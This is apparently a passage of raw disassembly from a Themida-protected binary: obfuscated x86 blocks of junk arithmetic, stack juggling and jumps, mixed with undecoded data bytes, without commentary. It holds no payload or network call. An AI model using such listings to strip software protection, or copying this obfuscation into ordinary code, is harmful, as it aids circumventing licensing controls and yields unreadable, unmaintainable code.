loc_5A9E95: ; CODE XREF: Themida_:005A88D6j sub edi, ecx jmp loc_5A68BA ; --------------------------------------------------------------------------- loc_5A9E9C: ; CODE XREF: Themida_:0059A60Aj add esp, 4 pop dword ptr [esp] jmp loc_5AD435 ; --------------------------------------------------------------------------- db 0BDh dd 317E7D49h, 4EC81h, 2C890000h, 24048124h, 0FFFFFFFFh dd 0FEEE1EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A9EC1: ; CODE XREF: Themida_:005A331Fj mov edx, edi pop edi pop esi add [esp+8], edx pop edx add [esp+4], ebp sub dword ptr [esp+4], 1C6E2218h pop ebp jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A9EDC: ; CODE XREF: Themida_:0059C830j ; Themida_:005AC524j mov edx, 473019Ah not edx and edx, 0BB819AEh sub edx, 771D4890h sub edx, 0B4A82C7Ch sub ebx, edx jmp loc_5A1B43 ; --------------------------------------------------------------------------- loc_5A9EFC: ; CODE XREF: Themida_:005A7D1Fj push ebp push eax mov eax, 4 mov ebp, eax jmp loc_5ADCAF ; --------------------------------------------------------------------------- loc_5A9F0A: ; CODE XREF: Themida_:0059A29Aj mov ecx, [esp] jmp loc_59F4E4 ; --------------------------------------------------------------------------- loc_5A9F12: ; CODE XREF: Themida_:005A9A58j add edx, edi pop edi jmp loc_5A6A6C ; --------------------------------------------------------------------------- loc_5A9F1A: ; CODE XREF: Themida_:005A79C2j mov esp, [esp] mov [esp], edx push edx mov edx, 0B0A45C8h add [esp+4], edx pop edx pop dword ptr [edi+20h] push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_59D59C ; --------------------------------------------------------------------------- loc_5A9F3F: ; CODE XREF: Themida_:005A1ED6j push dword ptr [esp] mov eax, [esp] jmp loc_5A6D91 ; --------------------------------------------------------------------------- loc_5A9F4A: ; CODE XREF: Themida_:005A9F95j mov [esp], ebp mov ebp, 787B0407h add esi, ebp pop ebp jmp loc_5A46DC ; --------------------------------------------------------------------------- loc_5A9F5A: ; CODE XREF: Themida_:005993F7j add esi, 3C21517Bh sub esi, 3D24349Bh pop eax jmp loc_59C123 ; --------------------------------------------------------------------------- loc_5A9F6C: ; CODE XREF: Themida_:005A8829j mov [esp], ecx mov ecx, 0 sub ecx, esi mov esi, ecx pop ecx push 0 sub dword ptr [esp], 337C1AD3h sub [esp], esi add dword ptr [esp], 337C1AD3h pop esi push 9E5h jmp loc_5A9F4A ; --------------------------------------------------------------------------- loc_5A9F9A: ; CODE XREF: Themida_:005A3B81j push dword ptr [esp] pop ebp add esp, 4 xor edx, 62DC2479h shr edx, 4 add edx, 46795485h xor eax, edx jmp loc_5AFDD7 ; --------------------------------------------------------------------------- loc_5A9FBA: ; CODE XREF: Themida_:00599D3Bj mov edi, [esp] add esp, 4 mov esi, 0A0327FF7h sub esi, edi jmp loc_5A63C1 ; --------------------------------------------------------------------------- loc_5A9FCF: ; CODE XREF: Themida_:005A80CAj inc ch add ch, 0C1h mov dl, ch jmp loc_5A090D ; --------------------------------------------------------------------------- loc_5A9FDB: ; CODE XREF: Themida_:0059EF5Fj sub ebp, ecx add ebp, 37747F73h mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5ACD23 ; --------------------------------------------------------------------------- loc_5A9FF7: ; CODE XREF: Themida_:0059BA3Cj mov [esp], eax mov eax, 31BA6796h xor eax, 31BA6792h jmp loc_59E030 ; --------------------------------------------------------------------------- loc_5AA009: ; CODE XREF: Themida_:005A0977j push ebx jmp loc_5AAB2A ; --------------------------------------------------------------------------- loc_5AA00F: ; CODE XREF: Themida_:005A714Dj jnb loc_5AEEF1 and ebx, 0E02D7Dh jnp loc_5A9810 loc_5AA021: ; CODE XREF: Themida_:loc_5AF76Ej xor edi, 398B7D17h add edi, 1B34CFB9h jmp loc_5ADF81 ; --------------------------------------------------------------------------- loc_5AA032: ; CODE XREF: Themida_:005AF262j mov esp, [esp] jmp loc_5A4934 ; --------------------------------------------------------------------------- loc_5AA03A: ; CODE XREF: Themida_:005992E3j pop edx push ecx mov ecx, 4 add edi, 3B1C27E7h jmp loc_5AEE77 ; --------------------------------------------------------------------------- loc_5AA04C: ; CODE XREF: Themida_:005A73B9j pop ebx mov ch, ah pop eax pop edx pop ebx xor al, ch mov cx, [esp] push edi mov edi, esp add edi, 4 add edi, 2 jmp loc_59F429 ; --------------------------------------------------------------------------- loc_5AA069: ; CODE XREF: Themida_:0059E3D2j mov ebp, 4 add [esp+4], ebp mov ebp, [esp] jmp loc_5AE599 ; --------------------------------------------------------------------------- loc_5AA07A: ; CODE XREF: Themida_:005ADACDj push ebx mov ebx, 7FF00BFBh inc ebx add ebx, 1 neg ebx add ebx, 7F163300h or ebx, 1DD73877h add ebx, 56B7D664h sub edi, 1E24506Bh jmp loc_5AA87F ; --------------------------------------------------------------------------- loc_5AA0A3: ; CODE XREF: Themida_:005AB855j push dword ptr [esp] pop edx add esp, 4 shl bx, 3 push bp push small 79C2h pop bp xor bx, bp jmp loc_5993FC ; --------------------------------------------------------------------------- loc_5AA0BE: ; CODE XREF: Themida_:005ABFC7j pop ebp xor eax, ebp mov ebp, [esp] push 582Bh mov [esp], ebx push esp push dword ptr [esp] mov ebx, [esp] jmp loc_5A06D5 ; --------------------------------------------------------------------------- dd 0C681E689h, 4, 21E95651h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA0E7: ; CODE XREF: Themida_:005AD31Ej jmp loc_5A1CDB ; --------------------------------------------------------------------------- dd 0CAA2E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA0F2: ; CODE XREF: Themida_:005A7501j jmp loc_5A9810 ; --------------------------------------------------------------------------- db 8Bh dd 89502404h, 0EA1DE9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA102: ; CODE XREF: Themida_:0059D9F7j shr edx, 7 add edx, 6C6FCB37h mov ebx, edx pop edx and ebx, 324D0FDEh shl ebx, 1 or ebx, 9A17DD0h neg ebx jmp loc_59F49F ; --------------------------------------------------------------------------- loc_5AA123: ; CODE XREF: Themida_:0059E1FDj mov edi, 0ED8DD2CFh add edx, edi pop edi sub edi, edx mov edx, [esp] push edi mov edi, esp jmp loc_59C108 ; --------------------------------------------------------------------------- dd 1B7C6968h, 0D0F75854h, 2B53E60Dh, 0E4860F20h, 35000029h dd 5F273921h, 0FFCC6DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AA155: ; CODE XREF: Themida_:0059E50Dj mov ecx, 18FD689Bh mov ebx, ecx jmp loc_5AABB1 ; --------------------------------------------------------------------------- loc_5AA161: ; CODE XREF: Themida_:005AE786j mov eax, 0FF95AD5Fh jmp loc_5ABCE0 ; --------------------------------------------------------------------------- loc_5AA16B: ; CODE XREF: Themida_:0059E145j push ebp jmp loc_5AFD00 ; --------------------------------------------------------------------------- loc_5AA171: ; CODE XREF: Themida_:005A9671j add edi, 39C09D25h sub esp, 4 mov [esp], edi xor dword ptr [esp], 248E675Ah jmp loc_59B87A ; --------------------------------------------------------------------------- loc_5AA189: ; CODE XREF: Themida_:0059E0F5j push ecx mov ecx, 4 sub edx, ecx pop ecx jmp loc_5A51B8 ; --------------------------------------------------------------------------- byte_5AA197 db 66h ; DATA XREF: Themida_:00598794o dd 5624048Bh, 0C6815E54h, 4, 0E904EC83h, 0FFFF1386h, 0CE2391BBh dd 0D3F74351h, 0DC6FF381h, 0EF81AE31h, 150F06D8h, 0C781DF01h dd 150F06D8h, 243C335Bh, 33243C31h, 6FE9243Ch db 0F8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AA1D7: ; CODE XREF: Themida_:0059F210j push dword ptr [esp] mov edx, [esp] add esp, 4 push 376Bh mov [esp], edi mov edi, esp jmp loc_598E03 ; --------------------------------------------------------------------------- loc_5AA1F2: ; CODE XREF: Themida_:005A3A3Bj xor al, 61h sub esp, 4 mov [esp], edx mov dl, 70h xor dl, 0EBh dec dl sub dl, 0CEh sub al, dl pop edx jmp loc_5A1830 ; --------------------------------------------------------------------------- loc_5AA20F: ; CODE XREF: Themida_:00599DDCj sub edi, edx pop edx add edi, ebp add edi, 378805E5h jmp loc_5A5027 ; --------------------------------------------------------------------------- db 0BAh dd 42750240h, 595AD629h, 0FF6EB2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AA22D: ; CODE XREF: Themida_:0059E637j add esi, ebp pop ebp add esi, 4 xchg esi, [esp] pop esp add ebx, 2 xchg ebx, [esp] mov esp, [esp] test cx, ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AA24C: ; CODE XREF: Themida_:005A4392j push edi mov edi, esp jmp loc_59A67A ; --------------------------------------------------------------------------- loc_5AA254: ; CODE XREF: Themida_:005A5573j add ebp, eax jmp loc_59EFCC ; --------------------------------------------------------------------------- loc_5AA25B: ; CODE XREF: Themida_:005AD046j mov edx, 73BD33B6h push esi mov esi, 7CA60EBFh add edx, esi jmp loc_5994DC ; --------------------------------------------------------------------------- loc_5AA26D: ; CODE XREF: Themida_:005AE93Cj add ebx, esi push dword ptr [esp] mov esi, [esp] jmp loc_5A60A8 ; --------------------------------------------------------------------------- loc_5AA27A: ; CODE XREF: Themida_:00599E9Aj pop ebp jmp loc_5AC9E0 ; --------------------------------------------------------------------------- dd 8A30A7BFh, 0C1E78121h, 815E6D1Ch, 176B93F7h, 5FF8297Ah dd 0A37F3A35h, 58C60185h, 592434FFh, 5423E9h db 0 ; --------------------------------------------------------------------------- loc_5AA2A5: ; CODE XREF: Themida_:005AA3E2j xchg eax, [esp] pop esp jmp loc_59FC8B ; --------------------------------------------------------------------------- loc_5AA2AE: ; CODE XREF: Themida_:005A2A11j add eax, ebp mov ebp, [esp] add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_5A6F54 ; --------------------------------------------------------------------------- dw 48Fh dd 0BA5CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA2D2: ; CODE XREF: Themida_:005997FAj pop ebx push esi mov esi, 4 sub edi, esi pop esi xchg edi, [esp] jmp loc_59DC36 ; --------------------------------------------------------------------------- loc_5AA2E4: ; CODE XREF: Themida_:005AEECFj push esp jmp loc_5AFD0E ; --------------------------------------------------------------------------- loc_5AA2EA: ; CODE XREF: Themida_:0059962Ej sub ebp, 0B4EDC1A2h mov ebx, ebp pop ebp sub ebp, 980519Ch sub ebp, ebx add ebp, 980519Ch pop ebx sub ebp, 473B51B6h add ebx, ebp pop ebp xor ebx, [esp] xor [esp], ebx jmp loc_5AC20C ; --------------------------------------------------------------------------- loc_5AA316: ; CODE XREF: Themida_:005A4AD7j pop ebp jmp loc_59A113 ; --------------------------------------------------------------------------- loc_5AA31C: ; CODE XREF: Themida_:005A97C5j add ebx, 3BED5547h push dword ptr [esp] pop ebp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub esp, 4 mov [esp], ebp jmp loc_5AD49B ; --------------------------------------------------------------------------- loc_5AA345: ; CODE XREF: Themida_:005A92BDj mov ebp, eax jmp loc_5A6BCD ; --------------------------------------------------------------------------- loc_5AA34C: ; CODE XREF: Themida_:005AA482j ; Themida_:005AE3C3j sub [esp+4], eax jmp loc_5996A7 ; --------------------------------------------------------------------------- byte_5AA355 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00598790o dd 6658669Dh, 9C240419h, 0FEE63EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AA365: ; CODE XREF: Themida_:005ACB97j mov ebp, 2 add ebx, ebp mov ebp, [esp] jmp loc_598EA3 ; --------------------------------------------------------------------------- loc_5AA374: ; CODE XREF: Themida_:005A1958j sub bl, 8Bh sub bl, dh add bl, 8Bh push 0F6Ch mov [esp], ecx mov ch, 0Eh push bx jmp loc_5A2368 ; --------------------------------------------------------------------------- loc_5AA38D: ; CODE XREF: Themida_:0059F704j push bx not byte ptr [esp+1] pop bx jmp loc_59F85B ; --------------------------------------------------------------------------- loc_5AA39A: ; CODE XREF: Themida_:005AB49Fj mov edi, 585F0899h shl edi, 8 jmp loc_59B9B1 ; --------------------------------------------------------------------------- loc_5AA3A7: ; CODE XREF: Themida_:0059B912j xor esi, ebp pop ebp inc esi jmp loc_5AF096 ; --------------------------------------------------------------------------- dd 0F181D1F7h, 36840449h, 0FF41C3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AA3BD: ; CODE XREF: Themida_:005AD5D6j mov ecx, [esp] add esp, 4 push ebp mov ebp, 2CEE1710h shr ebp, 5 jmp loc_5AEF57 ; --------------------------------------------------------------------------- loc_5AA3D4: ; CODE XREF: Themida_:0059FC86j add eax, 4 push ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_5AA2A5 ; --------------------------------------------------------------------------- loc_5AA3E7: ; CODE XREF: Themida_:005A4D18j sub bh, 84h add al, bh pop ebx mov ebx, [esp] jmp loc_5AB2DA ; --------------------------------------------------------------------------- loc_5AA3F5: ; CODE XREF: Themida_:005A0BFDj push eax mov eax, 4B08137Ch add eax, 0FFFFFFFFh jmp loc_59C274 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C2h dd 0F19BB041h, 0C15AD329h, 850F04E3h, 567Dh, 0B7ACEB81h dd 0DD896671h db 5Bh, 1, 0EFh ; --------------------------------------------------------------------------- loc_5AA423: ; CODE XREF: Themida_:005A0802j pop edi push 5BC3h mov [esp], edx jmp loc_5A16EC ; --------------------------------------------------------------------------- db 5Ch, 83h, 0ECh dd 242C8904h, 8904EC83h, 4C68240Ch, 0E925FA10h, 0FFFEFFC9h ; --------------------------------------------------------------------------- loc_5AA448: ; CODE XREF: Themida_:005A5339j mov eax, 30F75CC4h xor eax, 4391D36h sub ebx, eax pop eax push edi mov edi, 62355DC2h add ebx, edi pop edi add ebx, edx push 78B6h mov [esp], eax jmp loc_5ABDBE ; --------------------------------------------------------------------------- byte_5AA46D db 0FFh, 34h, 24h ; DATA XREF: Themida_:0059892Co dd 0FFF162E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AA475: ; CODE XREF: Themida_:005A336Bj sub eax, 0DBEB17D1h sub dword ptr [esp+4], 68EE430Ch jmp loc_5AA34C ; --------------------------------------------------------------------------- loc_5AA487: ; CODE XREF: Themida_:loc_5AE9A0j shr eax, 5 push edi jmp loc_5AE1FB ; --------------------------------------------------------------------------- dd 6C0CBF57h, 0E95560D2h, 0FFFFA2F1h, 4619685Ah, 1C890000h dd 7382BB24h, 91E9374Fh, 8300002Fh, 814F04C4h, 0C76684CFh dd 0EFEF816Fh, 81349035h, 344B90F7h, 25CDE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5AA4CA: ; CODE XREF: Themida_:0059EB8Fj ; Themida_:005A17A7j pop edx push ax sub esp, 4 mov [esp], ecx jmp loc_5A24DB ; --------------------------------------------------------------------------- loc_5AA4DB: ; CODE XREF: Themida_:loc_5A5E1Cj or bl, 9Ch jmp loc_5ABBF5 ; --------------------------------------------------------------------------- loc_5AA4E3: ; CODE XREF: Themida_:0059C5B2j sub esp, 2 mov [esp], dx mov dx, 15E8h jmp loc_5AEDFC ; --------------------------------------------------------------------------- loc_5AA4F3: ; CODE XREF: Themida_:005AC658j sub esi, 3F4B2D51h add esi, ecx add esi, 3F4B2D51h pop ecx add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], edx mov edx, 3E3A3825h sub edx, 2C92703Bh push 0 sub [esp], edx jmp loc_59BF1D ; --------------------------------------------------------------------------- loc_5AA527: ; CODE XREF: Themida_:0059B818j sub eax, 46272752h jnz loc_5993A8 add eax, 0FD32F44Bh mov ecx, eax pop eax push esi mov dh, ah push edi loc_5AA53E: ; CODE XREF: Themida_:loc_59A550j inc edi xor edi, 2F753999h ja loc_5A45D5 sub edi, 280B4690h jmp loc_5A5F0D ; --------------------------------------------------------------------------- dw 0CE88h db 88h, 0EFh ; --------------------------------------------------------------------------- loc_5AA55A: ; CODE XREF: Themida_:0059DC31j xor ebx, 60FBEDC3h sub edx, ebx pop ebx push dword ptr [edx] mov ecx, [esp] jmp loc_5A33B3 ; --------------------------------------------------------------------------- loc_5AA56D: ; CODE XREF: Themida_:0059D095j mov esi, eax pop eax add edx, esi pop esi jmp loc_5A6625 ; --------------------------------------------------------------------------- loc_5AA578: ; CODE XREF: Themida_:005AD7A4j xor [esp], edx xor edx, [esp] mov esp, [esp] pop edi not edi push 7081h mov [esp], eax sub esp, 4 mov [esp], edi pop eax push dword ptr [esp] jmp loc_599E59 ; --------------------------------------------------------------------------- dw 1C89h dd 0E9E38924h, 0FFFF4160h ; --------------------------------------------------------------------------- loc_5AA5A8: ; CODE XREF: Themida_:005AC84Fj or esi, edx pop edx push eax mov eax, 6CB520E1h sub esi, eax mov eax, [esp] add esp, 4 not esi jmp loc_5AE9AB ; --------------------------------------------------------------------------- loc_5AA5C0: ; CODE XREF: Themida_:005A768Ej jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AA5C5: ; CODE XREF: Themida_:0059CC46j add edx, 23386CC0h add edx, 462D760Eh mov ebx, [esp] add esp, 4 push esi mov esi, 14326AF4h push esi not dword ptr [esp] pop esi xchg edx, esi neg edx push esi push edx mov esi, [esp] add esp, 4 pop edx add esi, 2AB65F7Ah xor esi, 3EE8CA6Dh add edx, esi pop esi xchg edx, [esp] mov esp, [esp] dec byte ptr [esp] pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AA60D: ; CODE XREF: Themida_:005A5418j push ebx jmp loc_5AB965 ; --------------------------------------------------------------------------- db 1 dd 76E958C5h db 23h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA61B: ; CODE XREF: Themida_:0059F919j add ebx, 4 xchg ebx, [esp] pop esp add esp, 4 push 175Dh mov [esp], ecx mov ecx, 4 add ebx, ecx pop ecx add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov ax, [esp] jmp loc_5A5735 ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 4Bh db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA653: ; CODE XREF: Themida_:005A30F4j mov esp, [esp] jmp loc_5A120C ; --------------------------------------------------------------------------- loc_5AA65B: ; CODE XREF: Themida_:005ABAFDj xor [esp], ebx xor ebx, [esp] mov esp, [esp] div cx push 3596h jmp loc_59F9D4 ; --------------------------------------------------------------------------- loc_5AA671: ; CODE XREF: Themida_:005A2328j mov ebp, 4 add [esp+4], ebp pop ebp jmp loc_5A9C14 ; --------------------------------------------------------------------------- loc_5AA680: ; CODE XREF: Themida_:005AACDFj pop ecx inc esi jmp loc_59DBAA ; --------------------------------------------------------------------------- db 55h dd 463CAABDh, 31C58118h, 814AE42Ch, 2DE039C5h, 5DEF01F1h dd 6FE9F829h, 0FFFFEF3h, 0FF80D18Bh, 21F281FFh, 0F74AE425h dd 6E2C1D2h, 0F780EA81h, 0F2291CBEh, 0C0E9D689h, 8F000053h dd 9EE92404h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5AA6CB: ; CODE XREF: Themida_:0059F5AEj pop ecx add ebp, 0C1C88441h or [edi+1Ch], ebp pop ebp jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AA6DB: ; CODE XREF: Themida_:00599AC2j sub esi, 32C510B9h add esi, edx add esi, 32C510B9h push dword ptr [esp] pop edx add esp, 4 jmp loc_59F296 ; --------------------------------------------------------------------------- loc_5AA6F8: ; CODE XREF: Themida_:0059B04Aj shr cl, 1 shl cl, 1 shl cl, 5 jmp loc_5A237E ; --------------------------------------------------------------------------- loc_5AA704: ; CODE XREF: Themida_:005A54C3j mov ebp, 32A6182Ah jmp loc_59D67B ; --------------------------------------------------------------------------- dw 1C87h dd 0AFE95C24h, 83FFFFF6h, 48704C4h, 4895C24h, 0EBCBE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AA726: ; CODE XREF: Themida_:005A01E4j inc esi add esi, 0DAAFBC01h jmp loc_59D1D5 ; --------------------------------------------------------------------------- loc_5AA732: ; CODE XREF: Themida_:005AC35Bj pop ebp add ebp, 35836ECFh pop ebx push eax jmp loc_59D829 ; --------------------------------------------------------------------------- loc_5AA740: ; CODE XREF: Themida_:0059B323j pop ebp add esi, 64026243h pop ecx sub esi, 0EFB6BEEAh sub ebx, esi pop esi sub ebx, 0E6FF6A4h add esi, ebx pop ebx shl esi, 8 sub esi, 0AB2CF92Ch jmp loc_59EBD3 ; --------------------------------------------------------------------------- dd 4C481h, 0EC830000h, 24148904h, 0FF31B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AA779: ; CODE XREF: Themida_:005AF53Fj mov [esp], ebp jmp loc_59F1E4 ; --------------------------------------------------------------------------- dd offset aIii4J ; "КI┴4$j" align 2 dw 0C89h dd 5FD5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA78E: ; CODE XREF: Themida_:005A74F2j mov eax, 4C302072h sub eax, 1F2E2BBDh inc eax sub eax, 275377D4h add eax, 0CD8205A6h xor esi, eax pop eax mov ebp, esi pop esi jmp loc_5AE422 ; --------------------------------------------------------------------------- loc_5AA7AE: ; CODE XREF: Themida_:005AD324j or eax, 220A4DF3h jnb loc_59EAAF xor eax, 0E2ABFFF6h push ecx jmp loc_59E381 ; --------------------------------------------------------------------------- dd 8C2CE5D1h ; --------------------------------------------------------------------------- loc_5AA7C8: ; CODE XREF: Themida_:loc_59FC2Aj push edx push ecx mov ch, 51h neg ch xor ch, 0CBh ja loc_5A37D8 shl ch, 2 jmp loc_5A07EE ; --------------------------------------------------------------------------- db 87h dd 315C243Ch db 0F0h ; --------------------------------------------------------------------------- loc_5AA7E5: ; CODE XREF: Themida_:0059B440j mov edx, esp add edx, 4 add edx, 4 jmp loc_5A94DA ; --------------------------------------------------------------------------- loc_5AA7F5: ; CODE XREF: Themida_:005A6349j add dword ptr [esp], 4 jmp loc_59E16B ; --------------------------------------------------------------------------- loc_5AA7FE: ; CODE XREF: Themida_:005AF6DEj inc edx inc edx sub edx, 23405F4Dh sub ebp, edx pop edx add ecx, ebp pop ebp push ecx push dword ptr [esp+4] mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5AAECC ; --------------------------------------------------------------------------- loc_5AA827: ; CODE XREF: Themida_:005A78E4j add ecx, edx jmp loc_59E663 ; --------------------------------------------------------------------------- loc_5AA82E: ; CODE XREF: Themida_:005A322Ej or edi, eax pop eax xor edi, 274D5A8Ch shl edi, 1 jmp loc_5AD8B2 ; --------------------------------------------------------------------------- loc_5AA83E: ; CODE XREF: Themida_:0059EFF7j mov edx, edi mov edi, [esp] add esp, 4 sub edx, 1DBD6B1Ah jno loc_5AD4CB push eax mov eax, 0D855020h neg eax inc eax jmp loc_59C4F2 ; --------------------------------------------------------------------------- db 54h dword_5AA864 dd 0FF2434FFh, 0E92434h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5AA86F: ; CODE XREF: Themida_:0059F1C5j ; Themida_:005ABBFBj sub bl, ch add bl, 0A0h push dword ptr [esp] pop ecx push ecx push esp jmp loc_59F016 ; --------------------------------------------------------------------------- loc_5AA87F: ; CODE XREF: Themida_:005AA09Ej add edi, ebx add edi, 1E24506Bh jmp loc_5AD655 ; --------------------------------------------------------------------------- dd 8104E6C1h, 63318EEh, 5EF53154h, 0E904EC83h, 4619h ; --------------------------------------------------------------------------- loc_5AA8A0: ; CODE XREF: Themida_:005AF2DFj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub esp, 4 mov [esp], esi mov esi, 2 add eax, esi pop esi push eax jmp loc_599024 ; --------------------------------------------------------------------------- loc_5AA8C4: ; CODE XREF: Themida_:005A23E4j push 282525C6h pop esi dec esi jmp loc_5A77F2 ; --------------------------------------------------------------------------- loc_5AA8D0: ; CODE XREF: Themida_:00599556j push esi jmp loc_5A9732 ; --------------------------------------------------------------------------- loc_5AA8D6: ; CODE XREF: Themida_:005A898Ej push edx push ecx mov ch, al mov dl, ch mov ecx, [esp] add esp, 4 mov cl, dl jmp loc_5A82EF ; --------------------------------------------------------------------------- loc_5AA8EC: ; CODE XREF: Themida_:005A881Bj pop esi jmp loc_5A60C3 ; --------------------------------------------------------------------------- aPpH db '-╣',8,'▐P)ьh/)',0 align 2 dw 1C89h dd 0F511E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA906: ; CODE XREF: Themida_:0059D09Ej push esi mov esi, 4AE529F2h jmp loc_5AE78B ; --------------------------------------------------------------------------- loc_5AA911: ; CODE XREF: Themida_:loc_5A1127j ; Themida_:005A910Dj xor dword ptr [esp], 52416E8Ah pop edx xor edx, 52416E8Ah pop ebx add edx, 1B304E7Ch add edx, ecx sub edx, 1B304E7Ch jmp loc_5AB5F5 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 17E86804h, 1C890000h, 68E38924h, 63CCh dd 68243C89h, 4, 5F2434FFh, 4EC81h, 14890000h, 0CA0DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA962: ; CODE XREF: Themida_:005A9972j mov eax, 115533D7h xor ebx, eax pop eax add ebx, 29F462EDh shl ebx, 5 shl ebx, 4 sub ebx, 4820AEF9h or ecx, ebx pop ebx neg ecx push ebx push eax mov eax, 2A7C451Ah mov ebx, eax pop eax sub ebx, 1 jmp loc_59ED13 ; --------------------------------------------------------------------------- loc_5AA996: ; CODE XREF: Themida_:005AB7C2j pop ecx jmp loc_5A7852 ; --------------------------------------------------------------------------- loc_5AA99C: ; CODE XREF: Themida_:0059DB82j push edi mov edi, esp jmp loc_59B62F ; --------------------------------------------------------------------------- dd 4C481h, 50510000h, 0FE33F8B8h, 34815036h, 27B224h, 240C8B20h dd 4C481h, 0AAE90000h db 56h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA9C7: ; CODE XREF: Themida_:005ADDFDj xchg ecx, [esp] pop esp jmp loc_5A7463 ; --------------------------------------------------------------------------- loc_5AA9D0: ; CODE XREF: Themida_:005A1994j mov edi, [esp] push ebx mov ebx, esp jmp loc_59A01F ; --------------------------------------------------------------------------- db 51h dd 0E175E955h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AA9E2: ; CODE XREF: Themida_:005A6286j pop ecx push edx jmp loc_5A4D1D ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 51000000h, 0FFBF5DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AA9F5: ; CODE XREF: Themida_:0059D6C4j add eax, edi pop edi sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], esp push 94h mov [esp], ecx jmp loc_5A6F97 ; --------------------------------------------------------------------------- loc_5AAA15: ; CODE XREF: Themida_:005AD907j not ebx dec ebx xor ebx, 0EBD7333h sub ebp, 3D9000F3h jmp loc_59AF10 ; --------------------------------------------------------------------------- loc_5AAA29: ; CODE XREF: Themida_:005AABBEj mov esi, edx mov edx, [esp] add esp, 4 add esi, 33342761h sub esi, ebx jmp loc_5A468B ; --------------------------------------------------------------------------- loc_5AAA41: ; CODE XREF: Themida_:005A1232j or ch, 22h jmp loc_5AFB5B ; --------------------------------------------------------------------------- loc_5AAA49: ; CODE XREF: Themida_:005AC9DBj pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx mov ebx, esp push ecx mov ecx, 4 jmp loc_59F009 ; --------------------------------------------------------------------------- db 59h dd 0FF3FCCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AAA6D: ; CODE XREF: Themida_:0059B8E6j add esi, 4 jmp loc_59DDA0 ; --------------------------------------------------------------------------- loc_5AAA78: ; CODE XREF: Themida_:005998CDj add ebp, edi mov edi, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] add ebx, 0E3E74433h xor eax, ebx push dword ptr [esp] pop ebx add esp, 4 push edi push 297Dh mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_5A5289 ; --------------------------------------------------------------------------- dd 4240483h, 8324048Fh, 8B042404h, 0C483240Ch, 4C18104h dd 52000000h, 756D2FBAh, 7B84E96Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AAADE: ; CODE XREF: Themida_:005A778Cj mov edx, [esp] add esp, 4 sub edi, ecx pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 1 and eax, ebx push dword ptr [esp] pop ebx push ebp mov ebp, esp jmp loc_5A75CF ; --------------------------------------------------------------------------- loc_5AAB0C: ; CODE XREF: Themida_:loc_5A9984j ; Themida_:loc_5AC378j shl eax, 7 jz loc_5AEA84 sub eax, 2FC40B6Bh jb loc_5A6384 add eax, 0DB8E193Dh mov esi, eax mov eax, [esp] loc_5AAB2A: ; CODE XREF: Themida_:005AA00Aj mov ebx, 77B91BF1h jmp loc_5AB6B2 ; --------------------------------------------------------------------------- loc_5AAB34: ; CODE XREF: Themida_:0059DD51j neg ebx xor ebx, 0C4D2F8D4h add edx, 1AF21128h add edx, ebx jmp loc_59FD35 ; --------------------------------------------------------------------------- loc_5AAB49: ; CODE XREF: Themida_:0059F1F5j dec ecx sub ecx, 0FF6EF760h add ecx, edi jmp loc_5A8698 ; --------------------------------------------------------------------------- loc_5AAB57: ; CODE XREF: Themida_:00598B52j sub bl, al add bl, 27h add bl, 0E2h push 1892h jmp loc_59F60D ; --------------------------------------------------------------------------- loc_5AAB69: ; CODE XREF: Themida_:005A6DBDj pop ecx jmp loc_59C39B ; --------------------------------------------------------------------------- loc_5AAB6F: ; CODE XREF: Themida_:0059C9E5j pop ecx pop edx shl ecx, 